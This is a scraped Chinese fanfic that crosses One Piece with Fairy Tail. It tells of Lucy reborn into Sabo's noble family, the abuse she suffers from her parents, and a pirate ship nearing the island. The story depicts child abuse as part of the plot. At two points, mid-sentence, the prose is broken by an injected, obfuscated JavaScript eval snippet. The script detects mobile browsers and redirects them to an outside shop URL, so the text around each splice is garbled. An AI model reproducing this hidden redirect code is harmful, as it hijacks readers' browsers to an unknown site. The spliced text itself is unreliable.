《[海贼]你是我的黄道十二宫吗?》 1. 奥特卢克·露西(已修) 1500年,某贵族家中。 “爵士,爵士!”仆人激动地推开大门,“生了,夫人生了!” 奥特卢克爵士面无表情地端起茶杯,淡淡道:“是男孩吗?” “是龙凤胎!” 啪。 他猛地放下茶杯。 “龙凤胎?!!” 爵士愣了两秒,他一屁股坐回丝绒椅子,大笑出声:“好啊,好!我们奥特卢克家族要再次崛起了!” 他突然想起什么,起身快步朝房间走去。 “快让我看看那两个孩子……” 迪迪特躺在床上,金发因汗水潮湿。奥特卢克爵士跑进来,仆人们跪下行礼,他得以看到那对新生儿。 “爵士。”迪迪特虚弱地移动目光,“快看看那两个孩子,他们和您是多么相像。” 奥特卢克坐在床边,仆人将熟睡中的兄妹俩抱给他。他们的胎发微微发黄,和母亲一样。男孩的头发微卷,五官与奥特卢克更加相像,眼睛虽然闭着,仍然能看出来是对炯炯有神的圆眼睛。女孩是直发,脸庞比哥哥圆润,鼻子翘起,已经初显美人坯子的形态。 奥特卢克看着两个孩子,越看越欢喜,笑得合不拢嘴。 “迪迪特,你为奥特卢克家族立了大功!这两个孩子长大后一定会让奥特卢克成为全哥亚——不!是全东海最尊贵的家族!” “是的,爵士。”迪迪特流下感动的泪水,“他们一定会成为最出色的绅士和淑女,赢得所有贵族的赞叹和芳心。” 奥特卢克满心欢喜地看着这对儿女,抬头,高声宣布:“从今天起,他们就是我奥特卢克家的孩子,男孩叫奥特卢克·萨博,女孩叫奥特卢克·露西!” 【咔。】 画面被暂停,所有人如同皮影戏的人偶停住动作。 【等等,好像有哪里不对?】 【让我们把时间倒回海圆历1500年海贼王世界发生的大事。】 【1500年,波特卡斯·D·艾斯出生。】 【1500年,萨博出生。】 【1500年,奥哈拉毁灭。】 【1500年,金狮子出逃推进城。】 【……】 【这一年,奥特卢克家并没有一个名叫露西的女孩出生。】 【是不是投错地方了?】 【为了避免工作失误,让我们再翻一下这位女孩的生平——】 【……红发、黑发的伙伴……热闹的大家庭……人见人爱……独一无二的能力……】 【呼。】 【没错,没投错地方,一看就是海贼王世界的描述嘛!】 【她就是奥特卢克·露西。】 时间再一次开始流动。 咔。 【等等!】 又一道画外音。 【不要擅自作决定啊!哪里一样了?魔导士呢?魔法呢?菲欧烈王国呢?马格诺利亚镇在哪里啊!你明明就是投错了吧!!】 【……】 【不要沉默啊——快把这个我送回去!】 【你谁啊?保安呢,保安!快把她拖出去!】 金发的少女死死扒住世界意识的大门:【我是露西·哈特菲利亚啊!妖精的尾巴的一员!这个我不该降生在这里的,绝对是你工作失误吧!】 世界沉默了一下。 书页快速翻动,人物生平如走马灯奔跑,空白空间内陷入诡异的沉默。 坏了。 【……哎呀,已经出生了呢。】 【不要装可爱啊老爷爷!太不负责了,你怎么能随意篡改我的命运?平行世界的我也不行!】 【差不多嘛,这个你也是贵族,长大后也会遇到一个玩火的少年,白胡子的老爷爷,全大陆最厉害的组织,宿命般的敌人……哦,我看了一眼,那个叫什么基尔达斯的也有啊。】 【可我是星灵的魔导士,在这个、这个什么海贼王世界根本能力不匹配啊!而且我的星灵怎么办?露西和星灵的牵绊无论是哪个平行世界的走向都不能抹去!】 【你好烦啊……】 【居然说我烦?啊这个人真是……】 【好了好了,是我失误,露西确实应该和星灵魔法绑定,那就把你的星灵魔法还给你吧。】 【啊谢谢……不对,这个世界根本没有星灵啊!连魔法都没有!】 【虽然把星灵魔法还给你了,但不代表你就能随心所欲。为了让世界运行,我会模糊这个你的人生轨迹,有关星灵魔法的记忆也只会以碎片的形式传达给你,星灵魔法会变成什么样,就靠奥特卢克·露西自己去探索吧。哎,真麻烦。】 【……你觉得麻烦就把这个我还回去啊,她在妖精的尾巴活得很好不需要来这里——】 【那就这样吧,幸好这个世界早就一堆bug,你别让世界崩溃就行。好了快滚出去吧你该醒了!】 【等一下老爷爷!星灵魔法是靠钥匙契约的,这个世界没有委托也没有卖魔法道具的店,这个我该怎么——】 “呜哇哇哇——” 新生的露西发出第一声啼哭。 “哎呀,小姐哭了。”仆人们连忙上前查看。 一边的男婴皱了皱眉,听着妹妹的哭声,下一秒,他抽抽鼻子,也开始放声大哭。 “少爷也哭了!” “快,快喂奶……” …… 【哎,露西,无论姓氏是什么,你仍然是你。活泼、善良、有些脱线但永不放弃。虽然可能会痛苦上几年,但你终究会走上与无数个自己相似的那条路。】 【祝你好运,露西。】 …… . 六年后,新世界,因卡特(Encounter)岛屿。 露西穿着紧身的礼服坐在对窗的椅子上。房间里没有开灯,阳光将地面照的半明半暗。那些红色的窗帘和深色的地毯带来一种压抑的拘束感。 露西已经努力将自己的腰板挺到最直,但这件衣服的束腰像一条毒蛇将她紧紧盘起来,勒地她难以呼吸。她一只手放在胸口,试图拽开一点衣领让空气流进胸腔。 “露西!” 尖利的声音从门口冲过来,由远及近,伴随着高跟鞋在地面留下的刺耳的响声。女孩吓了一跳,连忙将手放在膝上坐好。 “天哪,你在干什么?!”金发卷发的贵妇人如鬼魅移动到她的身前,黝黑的眼珠像乌鸦一般盯住自己的女儿,仿佛她做了什么十恶不赦的坏事。 “你不知道自己的腰围比昨天宽了0.1英寸吗!”她恨铁不成钢地看着孩子,“所以我才让你节食,穿上束腰!你再胖下去,没有贵族会要你的!你会成为全哥亚的耻辱!” 年仅七岁的露西艰难地吸了一口气,母亲尖锐的声音刺痛了她的耳膜,可她几乎听不见。束腰带来的钝痛令她头晕目眩,耳膜随着心跳鼓动,她眼前在冒金星。 “对不起,妈……母亲。” 迪迪特听见女儿熟悉的求饶,心情总算平复了一些。她满意地点头,转身,从仆人手中拿起那根反光的教鞭。 她戴上明艳的,并不认为有错的笑容,扬起那条冰冷的鞭子: “知道错了就好。露西,妈妈的乖女儿,现在,把手伸出来——” “下面是惩罚时间了。” 啪。 房间里的仆人目不斜视。 啪。 声音回荡在空旷的餐厅里。 啪。 露西控制不住瑟缩了一下。 “露西。”迪迪特的声音里全是不满,她的脸色变得十分恐怖,眼睛仿佛充血的金鱼要爆开,恶狠狠地盯着自己不够听话的女儿。 露西握紧的拳头颤了一下,一秒后,她松开了手。 明媚的笑容重新回到迪迪特夫人脸上。 “露西,我是怎么和你说的?你是贵族,你要有贵族的教养。你的一言一行都必须符合奥特卢克家族的规矩,不要和那些下等人一样!” 豆大的汗珠顺着额角流下,露西的脸色惨白,嘴唇紧紧抿成一条直线。这些文字像吵闹的飞虫一样钻进她的耳朵,钻进她的皮肤,啃食着她的血肉,在她的脏器里安家,生长。她咬着牙,低声道:“是,母亲。” 十鞭结束。 迪迪特夫人呼出一口气,整个人变得神清气爽。她欢快地收起鞭子,在仆人的帮助下落座,笑眯眯地吩咐他们上菜。 “好了,现在开始用餐。” 房间里响起几声刀叉碰撞的声音。 露西的手心火辣辣的疼,冰凉的刀叉接触的一瞬间,她像一块生肉贴上冰块,皮肤几乎与那种硬冷的表面黏在一起,脱下一层皮来。女孩克制地抖了一下,没敢让刀叉从手里跌落。主位的父亲自始至终没有发话,没有抬头,他的注意力全在报纸上,压根不关注女儿在做什么。 反正对他来说,这只是日常的教育罢了。 一切都是为了奥特卢克家族的荣耀。 “啊欧——” 海鸥停在窗外,发出粗粝的叫声。露西被那只洁白的生物吸引了注意力,她看着它不太在意地走过贵族的领地,它的同伴自由地飞起,落在想要去的地方。恍惚间,她再一次想起自己昨夜做的梦。 梦里…… “露西!” 露西回过神。 “你已经吃了五口了,赶紧放下你的叉子!”迪迪特咬着牙瞪了女孩一眼,从喉咙里憋出仿佛想要将她按在盘子里切碎的声音,“我讲过多少遍?你是个淑女,你要保持你的体型!” 露西听话地放下叉子。 海鸥扑腾着翅膀飞走了。 她轻轻喘了口气。明明房间这么空旷,明明唯一的阳光洒在她的身上,她却觉得自己要窒息了。 “哼!” 奥特卢克三世将报纸一抖,重重拍在桌上。 “看看,一个鱼人奴隶竟敢大闹圣地玛丽乔亚,真是无法无天!”他对着报纸版面上《震惊:鱼人泰格挑战圣地玛丽乔亚,掳走奴隶一千余人》的标题嗤之以鼻。 迪迪特听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984332|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这件事情,脸色像是吃了黄连一样难看:“低等种族就是低等种族,多么愚蠢的行为!幸好它不是哥亚王国的居民,否则我们的脸真是被丢尽了!” 奥特卢克三世面色不善:“所以我们才更要在世界会议前,向神大人们表明哥亚贵族的立场,还有我们对世界政府的支持。” 这正是他们冒着可能遭遇海贼的危险来到新世界的原因。 迪迪特放下叉子,一想到报纸上的新闻,她就如鲠在喉,心里怕得要命:“鱼人这种东西太可怕了,他们根本是野兽,是未脱蒙的动物!幸好世界政府不会放过……我听说它是个海贼?真是的,一条鱼啊,海军怎么还没有捉到?放任它在新世界,我们岂不是也会有危险?” 她的眼中满是对自己生命安全的担忧。 奥特卢克摇摇头:“得罪神大人,他活不了多久的,幸好我们站队正确……” 夫妻俩有一句没一句地交谈起来。 露西听着他们的谈话,她的视线落在那个黑白的配图上,思绪却早已飞出窗外。 海贼,海。 她又不受控地想起了自己的梦。 从四岁起,她就反复做着同一个梦。一个蓝色的,好像被太阳和水流亲吻的梦。她把这个梦告诉了哥哥,哥哥说,那一定是一个预知梦。 【这不是很好嘛露西。】 【早晚有一天,你一定会离开这里,去寻找那个属于你的星灵。而我……】 他这样肯定道。 哥哥是家里唯一支持她的人,他们像是彼此的半身,彼此的灵魂,无条件地信任和接受彼此。 可是这样的哥哥,抛下她,一个人离开了。 头也不回地。 哥哥为什么要走? 那时的露西还不明白。 “父亲……”露西想着那个已经开始模糊的金色的背影,突然生出一种勇气。她迎着母亲震惊的目光第一次打断了说话时的父亲,抬起头,直视那对比乌鸦还黑的眼睛。 “您还记得,我曾经做过一个梦吗……” 奥特卢克听完,大笑出声:“你又做了什么离经叛道的怪梦?” “星灵?真是的,这个年纪的小孩整天都是不着边际的胡思乱想!露西,你最好早点放弃这些幻想。你是贵族,什么星灵,那是根本不存在的!” 啪! 露西好像被人当头喝了一棒。 嘲笑声萦绕在耳边,她的耳朵发出嗡鸣,脸上火辣辣地烧了起来。 她的亲人,嘲笑了她的梦。 迪迪特夫人尖锐地发出呵呵呵的笑声,不只是迎合自己的丈夫,还因为轻蔑。露西听着两道环绕在耳边的声音,脑子里仿佛看见他们夸张的笑脸。一种巨大的羞耻和愤怒像海浪淹没了她,她低着头,深呼吸,可是一滴,两滴,泪水大颗大颗地落了下来。 争吵…… 砰。 金发,枪声,盔甲倒地…… 母亲的尖叫。 ……我受够了……离开…… 你不能走!!啊啊啊——爵士……他—— 露西……对不起…… 啪。 透明的泪水掉在手背上,女孩噌地从座位上站了起来。 “露西,你要去哪?!” 母亲的惊呼咆哮着扑向她,露西提起裙摆转身,用力奔跑起来。大门被重重推开,护卫吓得缩回脖子,她毫不留恋地右拐,逆着花纹繁复的地毯,粉白色的裙尾像丝带开始游动。她冲过走廊上谈笑的小姐和富商,避开推着行李准备拐弯的服务员,她抓着扶手一路跑下旋转的楼梯,叮,电梯门在对面打开,贵族戴着帽子迈出,她自由的金发刮起一阵风。 玻璃门沉重地阻挡她前进,她双手抵住对方,狠狠一推。 砰,啪,啪,啪…… 孩子撞进真实的世界。 裹挟着海风的阳光刺眼地落在露西脸上。世界的噪音在这一刻涌进耳朵。她的心脏急促地跳动,叫卖的人流拖着自己的车、箱子、包裹行走,孩童欢笑着举起风车跑过。 “小姐!奥特卢克小姐!” 冰冷的脚步和呼喊隔着门传来,露西连忙跑下台阶,提起裙摆冲进人群。束腰逼得她大口喘气,厚重的面料死死拽着她,她跑进巷子,脚下的鞋摩擦出尖锐的疼痛。一口气没吸进来,女孩猛地停下扶着墙喘息,揪住自己的衣领往外拉。额头上细密的汗珠顺着鬓角流下,不过几十米距离,她已经脸色发白,嘴唇毫无血色。 露西痛苦地皱着眉捂住自己的腹部,靠在墙上,阴影斜斜打在女孩身上,她与熙熙攘攘的,充满生命力的街头只有一步之遥。 为什么,要笑露西呢? 露西深吸一口气,听到胸膛里仿佛被骨头刺穿的疼痛。她沿着墙无力地滑下蹲在地上。 别人都可以笑,只有他们不行,不行! “……呃,你好?” 露西抬头。 “请问你需要帮助吗?” 模糊的视线里,她听到那个年轻的声音这样说。 2. 错位 “你好……?”小露西眨了眨眼,看向这个靠近自己的少女。 少女留着一条麻花辫,一块浅绿色的头巾包住了她的头,几缕棕色的碎发在额前随着轻风微微晃动。她穿着粗布的裙子和一个偏白的亚麻的围裙,看向露西的眼神中有一种被太阳晒过的泛着小麦香气的温暖。 “小妹妹,你是在找家人吗?”她蹲下来,来到一个可以和露西平视的高度,轻轻柔柔地问她。 听到这句话,露西突然鼻子一酸。不知道为什么,眼泪再次夺眶而出,沉默的,委屈的,她闭上眼嚎啕大哭。 “呜啊啊啊——” “对不起!”少女慌了,连忙抽出怀里的手绢轻轻擦拭孩子的脸庞,“我不问了,不问了……” 露西觉得自己好像把过去所有的眼泪一下子哭出来,受罚时的,哥哥离开时的,挨饿时的……她哭的上气不接下气,五脏六腑都揪在一起。少女只能移到墙边,一边轻声细语地安慰她,一边带着歉意看向路人。 牵着猴子的男人从五十米外远的地方走到另一头的时候,哭声逐渐停下。孩子用力吸了吸鼻子,咳嗽两声,一种脱力的疲惫感涌上心头,她揉揉眼睛抱住自己。 “你不哭了吗?”少女松了口气。 那现在该怎么办呢? 环顾四周,她突然像是发现了什么好去处,指着远处的喷泉说:“我们去那里坐吧!” 露西的视线从喷泉上回到向她伸手的一脸友善的少女身上,想了想酒店里的父母,她毫不犹豫地将手搭了上去。 那是一只长着老茧,柔软,却有力量的手。它牵着露西穿过卖报纸的孩童,走过水果店偷懒的伙计面前,绕开表演的猴子与它戴着兜帽的主人,扶住了那些运货卸货的壮汉的箱子。 她们停在喷泉池边,露西好奇地跪在冰凉的大理石上,池子里堆满了生锈的或者明亮的硬币,那个捧着罐子的小天使光着屁股在笑。 身后传来脚步,少女从旁边跑过来,差点撞上巡逻的海军。穿着白色背心,戴着蓝色领结的男人们倒退一步,笑着和她打招呼,背着自己的枪满是精神地往前走去。少女吐了吐舌头,兴冲冲地停在露西面前。 “你要不要吃冰淇淋!”她递出一只冰淇淋。 露西惊喜地接过,眼睛完全离不开那片白色。她吞咽了一下口水,冰淇淋的香味钻进鼻子。哭过的脸上还残留着刺痛,露西的眼睛红通通的,却啊呜一口咬了上去。 好吃! 孩子瞬间不难受了,幸福地眯起眼。 露西舔了舔嘴边的冰淇淋,胃里有一种被食物填满的充实感。这种迟来的叛逆令她心里萌生出小小的得意和愉快,她绽开一个愉悦了自己的笑。 目光落在那栋高高的酒店时,露西一下子又低下头去,心情回到谷底。女孩板正地坐在石头上,一想到父母刚才的嘲笑,她就觉得心里像是被勺子挖了个洞,好疼好疼。 为什么他们不能理解露西呢? 露西撇撇嘴,泪水在眼眶打转。她含着泪看向少女,哽咽着问她:“姐姐,你知道星灵吗?” “星灵?”少女歪了歪头,“没听说过诶。” 露西抽了抽鼻子,转过来,郑重地看着她:“露西有一个星灵,她是蓝色的,就和姐姐一样,很漂亮。” “她喜欢住在鱼缸里。有时候,她会出来陪露西玩。她拿着罐子一挥,地上就会冒出好多好多的水,露西随着水滑出去,滑到花园里。” “听起来很有趣!”少女的眼睛亮了起来,“她一定是位温柔的星灵,她很喜欢你。” 露西重重点头:“露西也这么觉得!” 可是紧接着,她的表情变得失落。 “怎么啦?”少女忍不住靠近了一点,“你们闹别扭了?” 露西摇摇头:“不是的,是……” 她看着热闹的街头,孩子们推着彼此拿着塑料袋当成捕风网挥舞。一只鸡窜上棚子,咯咯哒地啼叫起来,主人只能摸着墙爬上去,不小心翻到隔壁,吵醒了熟睡的狗。他抓着裤子跑出去,狗追在身后,男人撞上海军,围着他们追逐起来。 所有人都在笑,她的心里又开始泛起委屈,酸涩的泪意咕嘟咕嘟地往上冒。 “露西想要去找她,可是父亲母亲不同意。他们说,星灵根本就不存在。” 说到这儿,露西觉得难受。她声音里充满了不解和委屈,眨眨眼,鼻子一抽,眼泪就断线了一般流出来。 她没有告诉这个姐姐,他们不仅认为星灵不存在,还笑话了她。 这才是最让露西伤心的地方! 那是一种混合着震惊的悲伤,像一个巴掌将她扇醒,她站在原地,第一次发现自己浑浑噩噩。 这是父母第一次否定她的梦想吗? 好像不是。 这是父母第一次控制她的未来吗? 好像也不是。 那为什么露西现在才看见呢? 难道是露西做错了吗? “也许是露西的问题?”少女苦恼地说。 露西抬起头。 “因为啊——”她移动了一下位置,一本正经地分析,“露西刚刚说,你在爸爸妈妈生气的时候告诉他们你要离开。” “露西都要走了,他们该多担心啊,怎么可能听得进露西在说什么呢?” 所以是露西的错? 父亲母亲和之前每一次一样,都是对的,露西不应该突然发火? 少女肯定道:“没错!爸爸妈妈是最爱露西的人了,露西回去后先和他们道歉,不应该自己一个人跑出来让他们担心,那样他们就不会生气了。然后,你们再好好聊……” 露西听着少女絮絮叨叨的话,擦了擦脸上的泪痕,像是自己找到了世界的出口。 听姐姐这么一说,的确是露西的问题呢。 爸爸妈妈是爱露西的,露西应该要像淑女,在正确的时机说出来……他们就会理解。 “姐姐,谢谢你。”她不好意思地笑了起来。 “没什么没什么,能帮到露西,我也很高兴!”少女看着那张好像天使一样的面孔,露出一个暖心的笑。 露西眨眨眼,刚要和少女继续聊天,突然,一点声音钻 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人们在欢笑,只有她听见了,无限延申的海平面尽头有一种奇怪的,令空气产生错位的力量。流动的海浪被什么东西推开,像是有人硬生生逆着海水切开纹路。风在咆哮,裹挟着不属于这座岛的木头和金属的气味飘向岛屿。 露西所在的哥亚王国也有靠海的地方,父母熟睡的夜晚,哥哥经常会带着她趴在窗边,听缝隙里漏进来的风声和浪声。沉睡,醒来,风雨,涨落,他们正对着那片碧蓝的海,因而早已熟稔空气最细微的变化所对应的气象。 可现在的声音,露西冥思苦想也不知道它的真貌。 她没有听过。 不是要下雨,也不是涨潮。 但还没等她想明白,刺耳的惊叫撕裂了天空—— “啊欧——!” 孩子猛地一抖。 一只海鸥惊叫着从头顶掠过,紧接着,一大片黑压压的鸟群席卷而来,像是穿过海面逃命来的。它们慌乱地逃窜,几乎遮蔽天空。海鸟在空中碰撞翻转,卡在摊贩的棚子中拼命扑腾。集市上的人们对着被撞翻的架子惊呼,被这突如其来的袭击搞得措手不及。 还活着的海鸟跌跌撞撞地爬起,挂着一身血飞向岛屿另一头,诡异得不敢在集市上有半分停留。 露西不自觉握紧拳头,耳朵里,那种奇怪的混杂的声音比之前更近了一些,像一面鼓撞击她忐忑的心。 有坏事要发生了…… 视线微微移动,孩子顿住了。 坏事来了。 奥特卢克三世爵士站在她的面前,满脸怒容。他的脸色阴沉得几乎和他的头发融为一体,仆人和卫兵站在他的身后,冰冷的盔甲和佩剑将阳光劈断,化作暗淡的丝绸抛在地上。 露西本能地站了起来,心脏被一只大手攥住。 “父亲……” 奥特卢克爵士压抑着怒火看了她一眼,咬着牙转身。 “跟我过来!” 他蛮横地带着人撞开了岛上那些鲜活的生命。 3. 这下儿女双失了 露西跟在奥特卢克爵士身后噤若寒蝉。 他们重新回到那栋高耸的酒店,露西的目光扫过大堂里的贵族,和他们试探的视线撞上。贵族们像是被惊扰的鱼群一瞬间寂静,可是露西听得到,他们藏在扇子和微笑背后的讥讽、议论。那些评头论足的声音和女人们咯咯的笑声混在一起,奥特卢克爵士每前进一分,脸色就更加阴沉。 电梯停在顶楼。 露西不安地将自己的手掐出两块印子。她开始想念妈妈的鞭子,因为落下后,疼痛至少让她感到真实,让她不会慌乱。 小皮鞋的声音在地面回响,姐姐的话语也萦绕在耳边。露西按住心里那只砰砰不停的小鼓,深吸一口气。 姐姐说得对,刚才是露西做错了,只要露西和父亲母亲好好沟通,他们一定会同意的! 女孩这样想着,心里像是有了底。她停在奥特卢克爵士身后,模仿着妈妈一贯教她的贵族的仪态,抬头挺胸地开口:“父亲,对不起,我刚刚自己一个人……” 啪! 响亮的声音撕破了房间内的寂静。 几秒后,一阵火热的疼痛从眩晕的左耳传来。 露西跌倒在地,她的半边脸烧了起来。女孩不明白发生了什么,茫然地摸上自己肿起来的侧脸。 她好像……被打了? “你居然当着那么多贵族的面从酒店里跑出去?!” 男人的声音几乎将楼层震碎。 露西愣愣地看向暴怒的父亲。 “你知道这一次来新世界的机会是多么宝贵吗?你擅自跑出去,丢的是整个哥亚王国的脸!” 奥特卢克爵士指着地上的女孩大骂,他的阴影在窗帘的围绕下显得格外恐怖,好像一头长着人脸的野兽压住了露西站起的力量。 露西懵了。 这好像和她想象中不太一样? 姐姐不是说…… “还有,你居然和那种肮脏下贱的平民坐在一起吃东西!你不觉得羞耻吗?!” 露西的身体抖了一下,她的十指一根根攥紧裙摆上的布料。 “奥特卢克·露西,你是要嫁给国王的儿子的!幸好那是个女的,如果他是男的,如果这件事传到国王耳朵里,你以为国王还会让你嫁给王子?你的任性会毁了我们家族的前程!” 那只凶悍的手指戳在她的眼睛前方,唾沫飞在脸上,带着一种食物发酵过后反胃出来的酸苦。露西的一只耳朵因为那一巴掌暂时失去听觉,她努力睁大眼睛,想要从父亲扭曲的脸上看到一丝关心和在乎的痕迹,可是,没有。 她的视线穿过父亲顶着自己脑门的手指落到母亲身上。母亲在看她,像一尊蜡像站在阴影里看着她。她那对黑色眼睛已经完全凸起,肌肉僵硬地蜷缩,猩红的嘴角拉开,显出一种不自然的古怪的表情。 那是愤怒。 谴责。 失望。 怨恨。 …… 爱呢? 爱在哪里呢? 露西,在哪里呢? 咔嚓。 露西听到心脏上什么东西碎掉的声音。 一道眼泪沿着孩子的眼角滑落。接着是第二道。她好像知道了某个真相,肩膀开始起伏,眼睛一闭,放声大哭。 “我不要待在这里!我要去找星灵!我要去找哥哥!” 房间里似乎静了一秒。 “露西!!!” 迪迪特夫人以怪物般的速度冲过来抓起女孩,拽着她站起来,指甲几乎掐进女儿的肉里。那头金发像豪猪背后的刺一般张开,那只鼻子像巫婆的鼻子一样勾起,那个女人像刽子手一样暴怒。 “露西!收回你刚才的话!” 她摇晃着女孩,想要将她那些无知的,粗俗的,大逆不道的话语甩出去。 “你要像你那个抛弃我们的哥哥一样离开吗?你可是我们唯一的孩子了,你想没想过我们家的未来都要靠你!” 她的脸上浮现出一种惶恐,一想到露西真的离开后自己无法获得金钱与地位,联姻的美梦即将破碎,迪迪特夫人就忍不住害怕。 可是她的惶恐与愤怒只是让这个年仅七岁的孩子更加无助。 “我不要嫁给那个王子!我没见过他!”露西抓着自己的裙子,两条手臂用力地拧住,几乎要将它撕碎。她跺着脚,一次,两次,三次……她想要将地毯踩出一个洞来,或者把什么东西踩死,用力摩擦,全都破坏掉,什么都好! “我要离开这里!我要去找我的星灵!我要去找哥哥!” “露西——” “好啊。”奥特卢克爵士的声音强硬地插入孩子的哭声中。 他用乌黑的没有一点亮光的眼睛看着露西,告诉她:“你敢离开这里,你就永远不是奥特卢克的女儿!露西,你会变成一个下等人,吃不到像样的食物,住不了房子,趴在地上像狗一样给别人使唤!” 他的声音慢了下来,带着一种确信孩子会遵从的得意: “如果你不想成为酒店外那些卑贱的家伙,就把你刚才的话统统忘了!我就当没有听见。” 说着,他转身喊了一声侍卫的名字。 “把小姐带回她的房间关起来,没有我的同意,谁都不能见她!” “不行!”迪迪特夫人尖锐的声音插了进来。 “关起来?露西,你这一次犯了大错,必须要受到惩罚。” 她看向沉默的侍卫们,仿佛自己有多么大义凛然一样命令他们:“明天晚餐前,不许给她送任何吃的,她只能喝水。” 说完,她的脸上露出一种不忍的痛苦,蹲下来抓着露西的手臂,语重心长地告诉她:“露西,母亲这是为了你好。你知道的,对吧?你违反了奥特卢克家的规矩,就要受到这样的惩罚。” 房门关上了。 露西拖着脚步走到那张华丽却冰冷的床前。她想,姐姐说的是错的,父亲母亲根本不愿意听她要说的内容。 她失败了。 肚子深处传来一点绞痛,也许是因为刚才突发的怒火与哭泣,也许是因为过少的进食,总之,绝不可能是那支冰淇凌。 露西靠在窗户边坐下,沉重的裙摆与束腰限制了她的动作,她连弯起自己的腿都做不到。 一种无能的恼怒冲上心头,女孩尖叫起来,转身撕扯自己的衣服。 【我受够了这种贵族的生活!我才不要变得像你们一样!我要离开这里!】 男孩站在破碎的窗户前,手中拽着死去的椅子。鲜红的窗帘从他身后涌出,呼啸而过。他的脸上带着血痕,眼睛里却燃烧着无法熄灭的决绝的怒火。 哗啦! 他抓着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984334|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅子从缺口冲了出去! 【你不能走!!啊啊啊——爵士!萨博他……】 男孩一跃而下带起的血掉在碎片上,顺着倒影中女孩茫然的眼角滑落。 【露西……对不起……】 啪。 露西重重拍在墙上。汗水从鼻尖滴下,金发汗湿在额角,露西咬着牙向下拽领口,她想,她好像明白哥哥为什么要走了。 一下,两下,女孩腿部一软跌倒在地上,紧接着爬起咬住厚重的布料。泪水浸湿那块小小的红色,流进她不甘的口腔。她撑着地爬起来,金发散落开来,像一只撞击着笼子不死不休的鸟,发出痛苦的喘息。 二十根鲸骨,一百四十条系带。 露西撞上地面,翻滚,扭曲身体……愤怒占据了她,她粗暴地抠住所有能抓住的地方,用尽全身力气向两边扯。 刺啦,接缝处传来惊人的裂开声! 她扑过去抠进那个缝隙,用力撕开! 束腰掉在地上。 女孩从层层叠叠的衣物里爬出来,踩着它起身扑到玻璃上,发出一声剧烈的喘息。 她终于吸进一口空气。 肚子深处的绞痛愈发明显,可她笑了起来,像是解脱了一般毫不留情地转身,再也不去看地上的恶魔。 她的目光停留在小岛的居民身上。 猴子解开自己脖子上的绳子,抓起一块米饼冲进人群。主人惊叫起来,被抢了米饼的孩子大哭,父亲一把抱起他,和那个戴着兜帽的主人一同追了上去。房顶上的公鸡吓得飞下来,公鸡的主人抱住它,乐呵呵地扭头朝店里走去。 猴子的主人拽住路过的海军,转眼,男人抱着自己的孩子冲过来控诉。年轻的海军们倒退几步,顶着阳光看清那只猴子。他们大喊一声,背着枪爬上房顶。 他们看起来,好自由。 突然,酒店前方屋顶上的海鸟扑着翅膀飞起,转身跃过酒店向北方逃去。 露西的笑容微微凝固,她站起来,视线随着它们移动,直到再也无法看到。 她将耳朵贴在玻璃上。 她听到了,那阵奇怪的声音已经很近很近,近得如果没有迷雾就能摸到实体。 海浪被劈开,风在咆哮,空气因声音开始震荡,海平面上的水波呈现出一种泛黄的白色,冒着气泡,但越往深处,海水的颜色就越暗。雾气遮住了海平面,却仍然有鱼群因为拥挤的逃命队伍不停向外跳跃。 自然界的一切都在警示,人们却没有听见。 露西莫名地有些不安,心脏漏跳了一拍。 海雾深处,几乎胶状的浓厚气体正在被某种庞然大物破开。 磅礴的海水不断避让,像见到什么自己无法比拟的存在,心甘情愿地低头收起大海的威严。 呼啦,呼啦。 旗帜在风中呼啸,站在瞭望台的少年靠着护栏,用肉眼报出风向与暗礁。 桅杆底下的家伙转身,腿上的流苏微微晃动,他拖着尾音,朝甲板说了几句。 甲板上传来男人们的脚步。他们收起酒水,交谈着步入各自的位置。戴着头巾的人们整齐地握住巨型舵轮的一部分固定船行的方向,有人提着擦亮的刀刃割开海雾,刀面闪着银光。 ——海贼船。 . 海贼船,朝因卡特岛来了。 4. 我的阿葵亚(已修) 鱼缸里泛起泡泡。 小露西看着那条傻傻的金鱼,将一把金色的钥匙插进水里。 几秒后,闪烁的金光令孩子闭眼,水面升起喷泉般的水柱,金鱼惊慌地乱窜。 哗啦! 水柱冲上天花板,露西被浇成落汤鸡。 孩子却丝毫没有丧气,反而抹了抹脸蛋,露出一种惊喜的笑容。她仰起头看向那个水柱中的身影。 人鱼。 蓝色长发的女人抱着自己的罐子,一脸凝重地看向孩子。她戴着一条纤细的抹额,身材却绝不贫瘠,而是透出一种被海水打磨过的力量感。蓝色的巨型鱼尾泡在源源不断的水流中,随便一下都能将人扇得头晕目眩。 女人低头俯视那个小小的金色人类,嘴唇微动,表情一言难尽。 【你好,我叫露西!】 露西高兴地朝她挥手。 听到这个名字,女人仰头,发出一声悠长的叹息。 她很快回过神来,脸色阴沉地仿佛能吞下十个露西。 【我叫阿葵亚,是……啧,你的星灵。】 她似乎在生气,后半句话简直是想把骨头磨碎一般咬着牙说的。 【阿葵亚。】露西念叨着这个名字。她偷偷重复了几遍,嘴边绽开一个小小的酒窝。 【阿葵亚,露西喜欢你——】 哗啦。 阿葵亚哼了一声,挥动自己的罐子。下一秒,猛烈的水流从罐子里倾泻而出,将茫然的露西冲了出去。孩子惊呼着在房间里打转,眼前直冒星星。 吧唧,她被水流冲回来,扑在湿漉漉的地面。 